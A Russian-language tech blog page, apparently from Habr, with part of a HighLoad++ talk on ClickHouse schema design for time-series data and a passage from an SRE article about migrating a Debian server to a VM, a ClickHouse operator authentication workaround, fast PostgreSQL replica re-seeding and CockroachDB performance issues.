В ClickHouse схему для time-series можно сделать разными способами, в зависимости от степени регулярности данных. Можно построить систему на регулярных данных, когда мы знаем все метрики заранее. Например, так сделал CloudFlare с мониторингом CDN это хорошо оптимизированная система. Можно построить более общую систему, которая мониторит всю инфраструктуру, разные сервисы. В случае нерегулярных данных, мы не знаем заранее, что мониторим и, наверное, это наболее общий случай.

Регулярные данные. Колонки. Схема простая колонки с нужными типами:

CREATE TABLE cpu (  created_date Date DEFAULT today(),    created_at DateTime DEFAULT now(),    time String,    tags_id UInt32,  /* join to dim_tag */  usage_user Float64,    usage_system Float64,    usage_idle Float64,    usage_nice Float64,    usage_iowait Float64,    usage_irq Float64,    usage_softirq Float64,    usage_steal Float64,    usage_guest Float64,    usage_guest_nice Float64) ENGINE = MergeTree(created_date, (tags_id, created_at), 8192);

Это обычная таблица, которая мониторит какую-то активность по загрузке системы (user, system, idle, nice). Просто и удобно, но не гибко. Если хотим более гибкую схему, то можно использовать массивы.

Нерегулярные данные. Массивы:

CREATE TABLE cpu_alc (  created_date Date,    created_at DateTime,    time String,    tags_id UInt32,    metrics Nested(    name LowCardinality(String),      value Float64  )) ENGINE = MergeTree(created_date, (tags_id, created_at), 8192);SELECT max(metrics.value[indexOf(metrics.name,'usage_user')]) FROM ...

Структура Nested это два массива: metrics.name и metrics.value. Здесь можно хранить такие произвольные мониторинговые данные, как массив названий и массив измерений при каждом событии. Для дальнейшей оптимизации вместо одной такой структуры можно сделать несколько. Например, одну для float-значение, другую для int-значение, потому что int хочется хранить эффективнее.

Но к такой структуре сложнее обращаться. Придется использовать специальную конструкцию, через специальные функции вытаскивать значения сначала индекса, а потом массива:

SELECT max(metrics.value[indexOf(metrics.name,'usage_user')]) FROM ...

Но это все равно работает достаточно быстро. Другой способ хранения нерегулярных данных по строкам.

Нерегулярные данные. Строки. В этом традиционном способе без массивов хранятся сразу названия и значения. Если с одного устройства приходит сразу 5 000 измерений генерируется 5 000 строк в БД:

CREATE TABLE cpu_rlc (  created_date Date,    created_at DateTime,    time String,    tags_id UInt32,    metric_name LowCardinality(String),    metric_value Float64) ENGINE = MergeTree(created_date, (metric_name, tags_id, created_at), 8192);SELECT     maxIf(metric_value, metric_name = 'usage_user'),    ... FROM cpu_rWHERE metric_name IN ('usage_user', ...)

ClickHouse с этим справляется у него есть специальные расширения ClickHouse SQL. Например, maxIf специальная функция, которая считает максимум по метрике при выполнении какого-то условия. Можно в одном запросе написать несколько таких выражений и сразу посчитать значение для нескольких метрик.

Сравним три подхода:



Детали

Здесь я добавил Размер данных на диске для некоторого тестового набора данных. В случае с колонками у нас самый маленький размер данных: максимальное сжатие, максимальная скорость запросов, но мы платим тем, что должны все сразу зафиксировать.

В случае с массивами всё чуть хуже. Данные все равно хорошо сжимаются, и можно хранить нерегулярную схему. Но ClickHouse колоночная база данных, а когда мы начинаем хранить все в массиве, то она превращается в строковую, и мы платим за гибкость эффективностью. На любую операцию придется прочитать весь массив в память, после этого найти в нем нужный элемент а если массив растет, то скорость деградирует.

В одной из компаний, которая использует такой подход (например, Uber), массивы нарезаются на кусочки из 128 элементов. Данные нескольких тысяч метрик объемом в 200 ТБ данных/в день хранятся не в одном массиве, а в из 10 или 30 массивах со специальной логикой для хранения.

Максимально простой подход со строками. Но данные плохо сжимаются, размер таблицы получается большой, да ещё когда запросы идут по нескольким метрикам, то ClickHouse работает неоптимально.

Гибридная схема


Предположим, что мы выбрали схему с массивом. Но если мы знаем, что большинство наших дашбордов показывают только метрики user и system, мы можем дополнительно из массива на уровне таблицы материализовать эти метрики в колонки таким образом:

CREATE TABLE cpu_alc (  created_date Date,    created_at DateTime,    time String,    tags_id UInt32,    metrics Nested(    name LowCardinality(String),      value Float64  ),  usage_user Float64              MATERIALIZED metrics.value[indexOf(metrics.name,'usage_user')],  usage_system Float64              MATERIALIZED metrics.value[indexOf(metrics.name,'usage_system')]) ENGINE = MergeTree(created_date, (tags_id, created_at), 8192);

При вставке ClickHouse автоматически их посчитает. Так можно совместить приятное с полезным: схема гибкая и общая, но самые часто используемые колонки мы вытащили. Замечу, что это не потребовало менять вставку и ETL, который продолжает вставлять в таблицу массивы. Мы просто сделали ALTER TABLE, добавили пару колонок и получилась гибридная и более быстрая схема, которой можно сразу начинать пользоваться.

Кодеки и компрессия


Для time-series важно, насколько хорошо вы упаковываете данные, потому что массив информации может быть очень большой. В ClickHouse есть набор средств для достижения эффекта компрессии 1:10, 1:20, а иногда и больше. Это значит, что неупакованные данные объемом 1 ТБ на диске занимают 50-100 ГБ. Меньший размер это хорошо, данные быстрее можно прочитать и обработать.

Для достижения высокого уровня компрессии, ClickHouse поддерживает следующие кодеки:



Пример таблицы:

CREATE TABLE benchmark.cpu_codecs_lz4 (    created_date Date DEFAULT today(),     created_at DateTime DEFAULT now() Codec(DoubleDelta, LZ4),     tags_id UInt32,     usage_user Float64 Codec(Gorilla, LZ4),     usage_system Float64 Codec(Gorilla, LZ4),     usage_idle Float64 Codec(Gorilla, LZ4),     usage_nice Float64 Codec(Gorilla, LZ4),     usage_iowait Float64 Codec(Gorilla, LZ4),     usage_irq Float64 Codec(Gorilla, LZ4),     usage_softirq Float64 Codec(Gorilla, LZ4),     usage_steal Float64 Codec(Gorilla, LZ4),     usage_guest Float64 Codec(Gorilla, LZ4),     usage_guest_nice Float64 Codec(Gorilla, LZ4),     additional_tags String DEFAULT '')ENGINE = MergeTree(created_date, (tags_id, created_at), 8192);

Здесь мы определяем кодек DoubleDelta в одном случае, во втором Gorilla, и обязательно добавляем еще LZ4 компрессию. В результате размер данных на диске сильно уменьшается:



Здесь показано, сколько места занимают одни и те же данные, но при использовании разных кодеков и компрессий:

  • в GZIPованном файле на диске;
  • в ClickHouse без кодеков, но с ZSTD-компрессией;
  • в ClickHouse c кодеками и компрессией LZ4 и ZSTD.

Видно, что таблицы с кодеками занимают гораздо меньше места.

Размер имеет значение


Не менее важно выбрать правильный тип данных:



Во всех примерах выше я использовал Float64. Но если бы мы выбрали Float32, то это было бы даже лучше. Это хорошо продемонстрировали ребята из Перконы в статье по ссылке выше. Важно использовать максимально компактный тип, подходящий под задачу: даже в меньшей степени для размера на диске, чем для скорости запросов. ClickHouse очень к этому чувствителен.

Если вы можете использовать int32 вместо int64, то ожидайте почти двукратное увеличение производительности. Данные занимают меньше памяти, и вся арифметика работает гораздо быстрее. ClickHouse внутри себя очень строго типизированная система, он максимально использует все возможности, которые предоставляют современные системы.

Агрегация и Materialized Views


Агрегация и материализованные представления позволяют сделать агрегаты на разные случаи жизни:



Например, у вас могут быть не агрегированные исходные данные, и на них можно навесить различные материализованные представления с автоматическим суммированием через специальный движок SummingMergeTree (SMT). SMT это специальная агрегирующая структура данных, которая считает агрегаты автоматически. В базу данных вставляются сырые данные, они автоматически агрегируются, и сразу по ним можно использовать дашборды.

TTL забываем старые данные


Как забывать данные, которые больше не нужны? ClickHouse умеет это. При создании таблиц можно указать TTL выражения: например, что минутные данные храним один день, дневные 30 дней, а недельные или месячные не трогаем никогда:

CREATE TABLE aggr_by_minuteTTL time + interval 1 dayCREATE TABLE aggr_by_dayTTL time + interval 30 dayCREATE TABLE aggr_by_week/* no TTL */


Multi-tier разделяем данные по дискам


Развивая эту идею, данные можно хранить в ClickHouse в разных местах. Предположим, горячие данные за последнюю неделю хотим хранить на очень быстром локальном SSD, а более исторические данные складываем в другое место. В ClickHouse сейчас это возможно:



Можно сконфигурировать политику хранения (storage policy) так, что ClickHouse будет автоматически перекладывать данные по достижению некоторых условий в другое хранилище.

Но и это еще не все. На уровне конкретной таблицы можно определить правила, когда именно по времени данные переходят на холодное хранение. Например, 7 дней данные лежат на очень быстром диске, а все, что старше, переносится на медленный. Это хорошо тем, что позволяет систему держать на максимальной производительности, при этом контролируя расходы и не тратя средства на холодные данные:

CREATE TABLE ... TTL date + INTERVAL 7 DAY TO VOLUME 'cold_volume',     date + INTERVAL 180 DAY DELETE

Уникальные возможности ClickHouse


Почти во всём в ClickHouse есть такие изюминки, но они нивелируются эксклюзивом тем, чего нет в других БД. Например, вот некоторые из уникальных функций ClickHouse:

  • Массивы. В ClickHouse очень хорошая поддержка для массивов, а также возможность выполнять на них сложные вычисления.
  • Агрегирующие структуры данных. Это одна из киллер-фич ClickHouse. Несмотря на то, что ребята из Яндекса говорят, что мы не хотим агрегировать данные, все агрегируют в ClickHouse, потому что это быстро и удобно.
  • Материализованные представления. Вместе с агрегирующими структурами данных материализованные представления позволяют делать удобную real-time агрегацию.
  • ClickHouse SQL. Это расширение языка SQL с некоторыми дополнительными и эксклюзивными фичами, которые есть только в ClickHouse. Раньше это было как бы с одной стороны расширение, а с другой стороны недостаток. Сейчас почти все недостатки по сравнению с SQL 92 мы убрали, теперь это только расширение.
  • Lambdaвыражения. Есть ли они ещё в какой-нибудь базе данных?
  • ML-поддержка. Это есть в разных БД, в каких-то лучше, в каких-то хуже.
  • Открытый код. Мы можем расширять ClickHouse вместе. Сейчас в ClickHouse около 500 контрибьюторов, и это число постоянно растет.

Хитрые запросы


В ClickHouse есть много различных способов сделать одно и то же. Например, можно тремя различными способами вернуть последнее значение из таблицы для CPU (есть еще и четвертый, но он ещё экзотичнее).

Первый показывает, как удобно делать в ClickHouse запросы, когда вы хотите проверять, что tuple содержится в подзапросе. Это то, чего мне лично очень не хватало в других БД. Если я хочу что-то сравнить с подзапросом, то в других БД с ним можно сравнивать только скаляр, а для нескольких колонок надо писать JOIN. В ClickHouse можно использовать tuple:

SELECT *  FROM cpu  WHERE (tags_id, created_at) IN     (SELECT tags_id, max(created_at)        FROM cpu         GROUP BY tags_id)

Второй способ делает то же самое, но использует агрегатную функцию argMax:

SELECT     argMax(usage_user), created_at),    argMax(usage_system), created_at),... FROM cpu 


В ClickHouse есть несколько десятков агрегатных функций, а если использовать комбинаторы, то по законам комбинаторики их получится около тысячи. ArgMax одна из функций, которая считает максимальное значение: запрос возвращает значение usage_user, на котором достигается максимальное значение created_at:

SELECT now() as created_at,       cpu.*  FROM (SELECT DISTINCT tags_id from cpu) base   ASOF LEFT JOIN cpu USING (tags_id, created_at)

ASOF JOIN склеивание рядов c разным временем. Это уникальная функция для баз данных, которая есть ещё только в kdb+. Если есть два временных ряда с разным временем, ASOF JOIN позволяет их сместить и склеить в одном запросе. Для каждого значения в одном временном ряду находится ближайшее значение в другом, и они возвращаются на одной строчек:



Аналитические функции


В стандарте SQL-2003 можно писать так:

SELECT origin,       timestamp,       timestamp -LAG(timestamp, 1) OVER (PARTITION BY origin ORDER BY timestamp) AS duration,       timestamp -MIN(timestamp) OVER (PARTITION BY origin ORDER BY timestamp) AS startseq_duration,       ROW_NUMBER() OVER (PARTITION BY origin ORDER BY timestamp) AS sequence,       COUNT() OVER (PARTITION BY origin ORDER BY timestamp) AS nb  FROM mytableORDER BY origin, timestamp;

В ClickHouse так нельзя он не поддерживает стандарт SQL-2003 и, наверное, никогда не будет это делать. Вместо этого в ClickHouse принято писать так:



Я обещал лямбды вот они!


Это аналог аналитического запроса в стандарте SQL-2003: он считает разницу между двумя timestamp, duration, порядковый номер всё, что обычно мы считаем аналитическими функциями. В ClickHouse мы их считаем через массивы: сначала сворачиваем данные в массив, после этого на массиве делаем всё, что хотим, а потом разворачиваем обратно. Это не очень удобно, требует любви к функциональному программированию, как минимум, но это очень гибко.

Специальные функции


Кроме того в ClickHouse много специализированных функций. Например, как определить, сколько сессий проходит одновременно? Типичная задача для мониторинга определить максимальную загрузку одним запросом. В ClickHouse есть специальная функция для этой цели:



Вообще, для многих целей в ClickHouse есть специальные функции:

  • runningDifference, runningAccumulate, neighbor;
  • sumMap(key, value);
  • timeSeriesGroupSum(uid, timestamp, value);
  • timeSeriesGroupRateSum(uid, timestamp, value);
  • skewPop, skewSamp, kurtPop, kurtSamp;
  • WITH FILL / WITH TIES;
  • simpleLinearRegression, stochasticLinearRegression.

Это не полный список функций, всего их 500-600. Хинт: все функции в ClickHouse есть в системной таблице (не все документированы, но все интересны):

select * from system.functions order by name

ClickHouse сам в себе хранит много информации о себе, в том числе log tables, query_log, лог трассировки, лог операции с блоками данных (part_log), лог метрик, и системный лог, который он обычно пишет на диск. Лог метрик это time-series в ClickHouse на самом ClickHouse: БД сама для себя может играть роль time-series баз данных, таким образом пожирая самого себя.



Это тоже уникальная вещь раз мы хорошо делаем работу для time-series, почему не можем сами в себе хранить всё, что нужно? Нам не нужен Prometheus, мы храним всё в себе. Подключили Grafana и сами себя мониторим. Однако, если ClickHouse упадет, то мы не увидим, почему, поэтому обычно так не делают.

Большой кластер или много маленьких ClickHouse


Что лучше один большой кластер или много маленьких ClickHouse? Традиционный подход к DWH это большой кластер, в котором выделяются схемы под каждое приложение. Мы пришли к администратору БД дайте нам схему, и нам её выдали:



В ClickHouse можно сделать это по-другому. Можно каждому приложению сделать свой собственный ClickHouse:



Нам больше не нужен большой монструозный DWH и несговорчивые админы. Мы можем каждому приложению выдать свой собственный ClickHouse, и разработчик может это сделать сам, так как ClickHouse очень просто устанавливается и не требует сложного администрирования:



Но если у нас много ClickHouse, и надо часто его ставить, то хочется этот процесс автоматизировать. Для этого можно, например, используем Kubernetes и clickhouse-оператор. В Kubernetes ClickHouse можно поставить по щелчку: я могу нажать кнопку, запустить манифест и база готова. Можно сразу же создать схему, начать туда грузить метрики, и через 5 минут у меня уже готов дашборд Grafana. Настолько все просто!

Что в итоге?


Итак, ClickHouse это:

  • Быстро. Это всем известно.
  • Просто. Немного спорно, но я считаю, что тяжело в учении, легко в бою. Если понять, как ClickHouse работает, дальше все очень просто.
  • Универсально. Он подходит для разных сценариев: DWH, Time Series, Log Storage. Но это не OLTP база данных, поэтому не пытайтесь сделать там короткие вставки и чтения.
  • Интересно. Наверное, тот, кто работает с ClickHouse, пережил много интересных минут в хорошем и плохом смысле. Например, вышел новый релиз, все перестало работать. Или когда вы бились над задачей два дня, но после вопроса в Телеграм-чате задача решилась за две минуты. Или как на конференции на докладе Леши Миловидова скриншот из ClickHouse сломал трансляцию HighLoad++. Такого рода вещи происходят постоянно и делают нашу жизнь с ClickHouse яркой и интересной!

Презетацию можно посмотреть здесь.



Долгожданная встреча разработчиков высоконагруженных систем на HighLoad++ состоится 9 и 10 ноября в Сколково. Наконец это будет офлайн-конференция (хоть и с соблюдением всех мер предосторожности), так как энергию HighLoad++ невозможно упаковать в онлайн.

Для конференции мы находим и показываем вам кейсы о максимальных возможностях технологий: HighLoad++ был, есть и будет единственным местом, где можно за два дня узнать, как устроены Facebook, Яндекс, ВКонтакте, Google и Amazon.

Проводя наши встречи без перерыва с 2007 года, в этом году мы встретимся в 14-й раз. За это время конференция выросла в 10 раз, в прошлом году ключевое событие отрасли собрало 3339 участника, 165 спикеров докладов и митапов, а одновременно шло 16 треков.
В прошлом году для вас было 20 автобусов, 5280 литров чая и кофе, 1650 литров морсов и 10200 бутылочек воды. А ещё 2640 килограммов еды, 16 000 тарелок и 25 000 стаканчиков. Кстати, на деньги, вырученные от переработанной бумаги, мы посадили 100 саженцев дуба :)

Билеты купить можно здесь, получить новости о конференции здесь, а поговорить во всех соцсетях: Telegram, Facebook, Vkontakte и Twitter.
Подробнее..

Практические истории из наших SRE-будней. Часть 3

25.12.2020 10:05:30 | Автор: admin
Рады продолжить цикл статей с подборками из недавних вызовов, случившихся в нашей повседневной практике эксплуатации. Для этого мы описываем свои мысли и действия, которые привели к их успешному преодолению.



Новый выпуск посвящён опыту с неожиданно затянувшейся миграцией одного Linux-сервера, знакомству с Kubernetes-оператором для ClickHouse, способу ускорить восстановление данных в сломавшейся реплике PostgreSQL и последствиями обновления CockroachDB. Если вы тоже думаете, что это может быть полезно или хотя бы просто интересно, добро пожаловать под кат!

История 1. Затянувшийся перенос сервера в виртуальную машину


План миграции


Казалось, что может пойти не так, если требуется перенести legacy-приложение с железного сервера в виртуальную машину? У приложения и его инфраструктуры привычный, хорошо понятный стек: Linux, PHP, Apache, Gearman, MySQL. Причины для миграции тоже обычны: клиент захотел уменьшить плату за хостинг, отказавшись от реального сервера, на котором остался только вспомогательный сервис (парсер соцсетей).

Вообще говоря, конечно, бывают и другие причины для миграции (например, многочисленные удобства в последующем обслуживании инфраструктуры и её масштабирования), но не буду заострять на этом внимание.

Неожиданно для себя, при написании статьи, я обнаружил, что на хабре нет статьи с описанием миграции серверов в виртуальные машины без привязки к какой-нибудь технологии виртуализации. В найденных вариантах показана миграция средствами снаружи, а мы же расскажем о привычном для нас способе переноса изнутри.

Общий план выглядит следующим образом:

  1. Произвести очистку сервера, поняв, сколько ресурсов требуется.
  2. Подготовить виртуальный сервер, выделить память, ядра, зарезервировать IP-адреса.
  3. Если требуется минимальный простой организовать внешний балансировщик, который можно переключить на свежесозданный виртуальный сервер, или же запустить копию приложения.
  4. Произвести начальную загрузку с образа выбранной ОС/дистрибутива, содержащего все необходимые драйверы, чтобы скопировать данные в виртуальную машину тем или иным способом.
  5. Создать chroot, чтобы исправить загрузчик системы.
  6. Переключить пользовательские запросы или сервисные задачи на новую систему.

Что ж, воспользуемся таким планом в очередной раз, попутно выясняя, какие нестандартные ситуации, оказывается, могут возникать.

Подготовка к миграции


Перед началом непосредственного переезда мы решили почистить сервер. На нем было занято 300 Гб диска, однако среди них удалось найти давно потерявшие актуальность бэкапы, совсем старые логи, а также излишки в базе данных (см. ниже). В результате файловую систему удалось оптимизировать до 60 Гб.

Отдельно хочется рассказать про похудение MySQL. Дело в том, что MySQL изначально была версии 5.5 и настроена без innodb_file_per_table. Из-за этого, как многие могут догадаться, файл ibdata1 разросся до 40 Гб. В таких ситуациях нам всегда помогает pt-online-schema-change (входит в состав Percona Toolkit).

Достаточно проверить таблицы, которые находятся в shared innodb tablespace:

SELECT i.name FROM information_schema.INNODB_SYS_TABLES i WHERE i.space = 0;

после чего запустить упомянутую команду pt-online-schema-change, которая позволяет совершать различные действия над таблицами без простоя и поможет нам совершить OPTIMIZE без простоя для всех найденных таблиц:

pt-online-schema-change --alter "ENGINE=InnoDB" D=mydb,t=test --execute

Если файл ibdata1 не слишком велик, то его можно оставить. Чтобы полностью избавиться от мусора в файле ibdata1, потребуется сделать mysqldump со всех баз, оставив только базы mysql и performance_schema. Теперь можно остановить MySQL и удалить ibdata1.

После перезапуска MySQL создаст недостающие файлы системного namespace InnoDB. Загружаем данные в MySQL и готово.

Подготовка дисков и копирование


Казалось бы, теперь можно произвести перенос данных с помощью dd, однако в данном случае это не представлялось возможным. На сервере был созданный с md RAID 1, который не хотелось бы видеть на виртуальной машине, так как её разделы создаются в Volume Group, которая создана на RAID 10. Кроме того, разделы были очень большие, хотя занято было не более 15% места. Поэтому было принято решение переносить виртуальную машину, используя rsync. Такая операция нас не пугает: мы часто мигрировали серверы подобным образом, хотя это и несколько сложнее, чем перенос всех разделов с использованием dd.

Что потребуется сделать? Тут нет особой тайны, так как некоторые шаги полностью соответствуют действиям при копировании диска с dd:

  1. Создаем виртуальную машину нужного размера и загружаемся с systemrescuecd.
  2. Делаем разбивку диска, аналогичную серверу. Обычно нужен root-раздел и boot с этим поможет parted. Допустим, у нас есть диск /dev/vda:

    parted /dev/vdamklabel gptmkpart P1 ext3 1MiB 4MiB t 1 bios_grubmkpart P2 ext3 4MiB 1024MiBmkpart P3 ext3 1024MiB 100%t 3 lvm 
    
  3. Создадим на разделах файловые системы. Обычно мы используем ext3 для boot и ext4 для root.
  4. Монтируем разделы в /mnt, в который будем chroot'иться:

    mount /dev/vda2 /mntmkdir -p /mnt/bootmount /dev/vda1 /mnt/boot
    
  5. Подключим сеть. Актуальные версии systemrescuecd построены на ArchLinux и предполагают настройку системы через nmcli:

    nmcli con add con-name lan1 ifname em1 type ethernet ip4 192.168.100.100/24 gw4 192.168.100.1 ipv4.dns "8.8.8.8 8.8.4.4"nmcli con up lan1
    
  6. Копируем данные: rsync -avz --delete --progress --exclude "dev/*" --exclude "proc/*" --exclude "sys/*" rsync://old_ip/root/ /mnt/
  7. Затем монтируем dev, proc, sys:

    mount -t proc proc /mnt/procmount -t sysfs sys /mnt/sysmount --bind /dev /mnt/dev
    
  8. Зайдем в полученный chroot: chroot /mnt bash
  9. Поправим fstab, изменив адреса точек монтирование на актуальные.
  10. Теперь надо восстановить загрузчик:
    1. Восстановим загрузочный сектор: grub-install /dev/vda
    2. Обновим конфиг grub: update-grub
  11. Обновим initramfs: update-initramfs -k all -u
  12. Перезагрузим виртуалку и загрузим перенесенную систему.

Используя этот алгоритм, мы перенесли сотни виртуальных машин и серверов, однако в этот раз что-то пошло не так

Проблема и её решение


Система упорно помнила различные дисковые подразделы, которые были до переноса на сервере. Проблем разобраться с mdadm не было достаточно просто удалить файл /etc/mdadm/mdadm.conf и запустить update-initramfs.



Однако система все равно пыталась найти еще и /dev/mapped/vg0-swap. Оказалось, что initrd пытается подключить swap из-за конфига, который добавляет Debian installer. Удаляем лишний файл, собираем initramfs, перезагружаемся и снова попадаем в консоль busybox.

Поинтересуемся у системы, видит ли она наши диски. lsblk выдает пустоту, да и поиск файлов устройств в /dev/disk/by-uuid/ не даёт результатов. Выяснилось, что ядро Debian Jessie 3.16 скомпилировано без поддержки virtio-устройств (точнее, сама поддержка, конечно, доступна, но для этого нужно загрузить соответствующие модули).

К счастью, модули добавляются в initrd без проблем: нужные модули можно либо прописать в /etc/initramfs-tools/modules, либо изменить политику добавления модулей в /etc/initramfs-tools/initramfs.conf на MODULES=most.



Однако магии и в этот раз не произошло. Даже несмотря на наличие модулей система не видела диски:



Пришлось в настройках виртуальной машины переключить диски с шины Virtio на SCSI такое действие позволило загрузить виртуальную машину.

В загруженной системе отсутствовала сеть. Попытки подключить сетевые драйверы (модуль virtio_net) ни к чему не привели.



Дабы не усложнять задачу и не затягивать переключение, было решено переключить и сетевые адаптеры на эмуляцию реального железа сетевой карты Intel e1000e. Виртуальная машина была остановлена, драйвер изменён, однако при запуске мы получили ошибку: failed to find romfile "efi-e1000.rom".



Поиск дал интересный результат: ROM-файл был потерян в Debian некоторое время назад и возвращать его в пакет коллеги не собирались. Однако этот же файл фигурирует в пакете ipxe-qemu, откуда и был с успехом взят. Оказалось, достаточно распаковать этот пакет (ipxe-qemu) и скопировать /usr/lib/ipxe/qemu/efi-e1000.rom в /usr/share/qemu/efi-e1000e.rom. После этого виртуальная машина с эмулированным адаптером начала стартовать.

Вы думаете, это всё? Конечно же, нет, когда в деле замешан e1000e Данный драйвер известен тем, что может под нагрузкой начать перезапускать сетевой адаптер. Именно это и произошло, когда мы стали загружать базу данных для приложения. Пришлось прибегнуть к старому способу с отключение аппаратного offload:

ethtool -K eth0 gso off gro off tso off

Только после этого стало возможным нормализовать работу системы и наконец-то запустить приложение. Наверняка возможен и другой путь, однако его поиск скорее всего занял бы больше времени, что не входило ни в наши интересы, ни в область понимания клиента: ведь на миграцию был заложен конкретный срок.

История 2. Безопасность для Kubernetes-оператора ClickHouse


Не так давно мы начали использовать ClickHouse operator от Altinity. Данный оператор позволяет гибко разворачивать кластеры ClickHouse в Kubernetes:

  • с репликацией для повышенной надёжности;
  • с шардами для горизонтального масштабирования.

Однако мы столкнулись с неожиданной проблемой: невозможностью задать пароль для юзера default, который используется для работы remote_servers по умолчанию. Всё дело в том, что в шаблонах генерации конфигов кластера нет возможности определения пароля для remote_servers. По этой причине невозможна одновременная работа с distributed-таблицами она будет падать с ошибкой:

[2020-11-25 15:00:20] Code: 516, e.displayText() = DB::Exception: Received from chi-cluster-cluster-0-0:9000. DB::Exception: default: Authentication failed: password is incorrect or there is no user with such name.

К счастью, ClickHouse позволяет сделать whitelist с использованием rDNS, IP, host regexp Так можнодобавить в конфиг кластера следующее:

      users:        default/networks/host_regexp: (chi-cluster-[^.]+\d+-\d+|clickhouse\-cluster)\.clickhouse\.svc\.cluster\.local$

Тогда кластер сможет нормально функционировать. В репозитории оператора есть issue по этому поводу (мы не забыли добавить туда и свой workaround). Однако не похоже, что там будут какие-то движения в ближайшее время из-за того, что потребуется хранить пароли в конфигурации remote_servers.

История 3. Ускоренная перезаливка реплик PostgreSQL


К сожалению, ничто не вечно и любая техника стареет. А это приводит к различным сбоям. Один из таких сбоев произошел на реплике баз данных PostgreSQL: отказал один из дисков и массив перешёл в режим read only.

После замены диска и восстановления работы сервера встал вопрос: как же быстро ввести его в строй, учитывая, что база у проекта довольно объемна (более 2 терабайт)?

Дело осложнялось тем, что репликация была заведена без слотов репликации, а за время, пока сервер приводили в чувство, все необходимые WAL-сегменты были удалены. Архивацией WAL в проекте никто не озаботился и момент для её включения был упущен. К слову, сами слоты репликации представляют угрозу в версиях PostgreSQL ниже 13, т.к. могут занять всё место на диске (а неопытный инженер о них даже не вспомнит). С 13-й версии PgSQL размер слота уже можно ограничить директивой max_slot_wal_keep_size.

Итак, казалось бы, надо вооружаться pg_basebackup и переливать базу с нуля, но по нашим подсчетам такая операция заняла бы 9 дней, и всё это время основной сервер БД работал бы без резерва. Что же делать? У нас же есть почти актуальные файлы, некоторые из которых база вообще не трогает, так как это старые партиции партицированных таблиц Но pg_basebackup требует чистой директории для начала копирования. Вот бы изобрести метод, который бы позволил докачать базу!..

И тут я вспомнил про исходный метод, которым мы снимали бэкапы еще во времена PostgreSQL 9.1. Он описывается в статье документации про Continuous Archiving and Point-in-Time Recovery. Суть его крайне проста и основана на том, что можно копировать файлы PgSQL, если вызвать команду pg_start_backup, а после процедуры копирования pg_stop_backup. В голове созрел следующий план:

  1. Создадим слот репликации для реплики командой на мастере:

    SELECT pg_create_physical_replication_slot('replica', true);
    

    Важно, чтобы при создании второй аргумент функции был именно true тогда база начнёт немедленно собирать сегменты WAL в этот слот, а не будет ждать первого подключения к нему.
  2. Выполним команду на мастере:

    SELECT pg_start_backup('copy', true);
    

    Снова важно, чтобы при создании второй аргумент функции был именно true тогда база немедленно выполнит checkpoint и можно будет начать копирование.
  3. Скопируем базу на реплику. Мы для этой цели использовали rsync:

    rsynс -avz --delete --progress rsync://leader_ip/root/var/lib/postgresql/10/main/ /var/lib/postgresql/10/main/
    

    С такими параметрами запуска rsync заменит изменившиеся файлы.
  4. По окончании копирования на мастере выполним:

    SELECT pg_stop_backup();
    
  5. На реплике положим такой recovery.conf с указанием нашего слота:

    standby_mode = 'on'primary_conninfo = 'user=rep host=master_ip port=5432 sslmode=prefer sslcompression=1 krbsrvname=postgres target_session_attrs=any'recovery_target_timeline = 'latest'primary_slot_name = replica
    
  6. Запустим реплику.
  7. Удалим слот репликации на реплике, так как он так же скопируется с мастера:

    SELECT pg_drop_replication_slot('replica');
    
  8. Проверим, что она появилась в системной таблице pg_stat_replication.

Однако один момент я всё-таки упустил. Мы выполнили копирование всех WAL-файлов, которые были на мастере. А значит даже тех, которые не требовались. Поэтому на следующий день после перелива реплики место на сервере с репликой начало заканчиваться. И пришлось думать над тем, как удалить бесхозные сегменты WAL.

Мы знаем, что checkpoint_timeout равен 1 часу. Следовательно, надо удалить все файлы старше 1 часа, но от какого момента? Для этого на мастере делаем запрос:

SELECT pg_walfile_name(replay_lsn) from pg_stat_replication;     pg_walfile_name      -------------------------- 0000000200022107000000C8(1 row)

Исходя из него сверяем временную метку файла:

stat /var/lib/postgresql/10/main/pg_wal/0000000200022107000000C8...Access: 2020-12-02 13:11:20.409309421 +0300Modify: 2020-12-02 13:11:20.409309421 +0300Change: 2020-12-02 13:11:20.409309421 +0300

у удаляем все файлы старше. С этим помогут find и bash:

# Вычислим смещениеdeleteBefore=`expr $(date --date='2020-12-02 13:11:20' +%s) - 3600`mins2keep=`expr $(expr $(expr $(date +%s) - $deleteBefore) / 60) + 1`# Удалим файлы размером 16 МБ (стандартный размер сегмента WAL),# которые старше, чем mins2keepfind /var/lib/postgresql/10/main/pg_wal/ -size 16M -type f -mmin +$mins2keep -delete

Вот и всё: реплика была перелита за 12 часов (вместо 9 дней), функционирует и очищена от мусора.

История 4. CockroachDB не тормозит?


После обновления CockroachDB до версии 20.2.x мы столкнулись с проблемами производительности. Они выражались в долгом старте приложения и общем снижении производительности некоторых типов запросов. На CockroachDB 20.1.8 подобного поведения не наблюдалось.

Изначально имелось предположение, что дело в сетевых проблемах в кластере Kubernetes. Однако подтвердить его не удалось: cеть чувствовала себя отлично.



В процессе дальнейшего изучения было обнаружено, что на производительность влияет наличие в кластере CockroachDB базы приложения Keycloak. Решили включить журналирование медленных логов кстати, в CockroachDB это делается командами:

SET CLUSTER SETTING sql.log.slow_query.latency_threshold = '100ms';SET CLUSTER SETTING sql.log.slow_query.internal_queries.enabled = 'true';

Благодаря этому стало ясно, что используемый в приложении драйвер PostgreSQL JDBC при старте делает запросы к pg_catalog, а наличие базы Keyсloak сильно влияет на скорость работы этих запросов. Мы пробовали загрузить несколько копий базы и с каждый загруженным экземпляром скорость работы pg_catalog падала всё ниже и ниже:

I201130 10:52:27.993894 5920071 sql/exec_log.go:225  [n3,client=10.111.7.3:38470,hostssl,user=db1] 3 112.396ms exec "PostgreSQL JDBC Driver" {} "SELECT typinput = 'array_in'::REGPROC AS is_array, typtype, typname FROM pg_catalog.pg_type LEFT JOIN (SELECT ns.oid AS nspoid, ns.nspname, r.r FROM pg_namespace AS ns JOIN (SELECT s.r, (current_schemas(false))[s.r] AS nspname FROM ROWS FROM (generate_series(1, array_upper(current_schemas(false), 1))) AS s (r)) AS r USING (nspname)) AS sp ON sp.nspoid = typnamespace WHERE typname = $1 ORDER BY sp.r, pg_type.oid DESC" {$1:"'jsonb'"} 1 "" 0 { LATENCY_THRESHOLD }

Вот тот же запрос, но с загруженной проблемной базой:

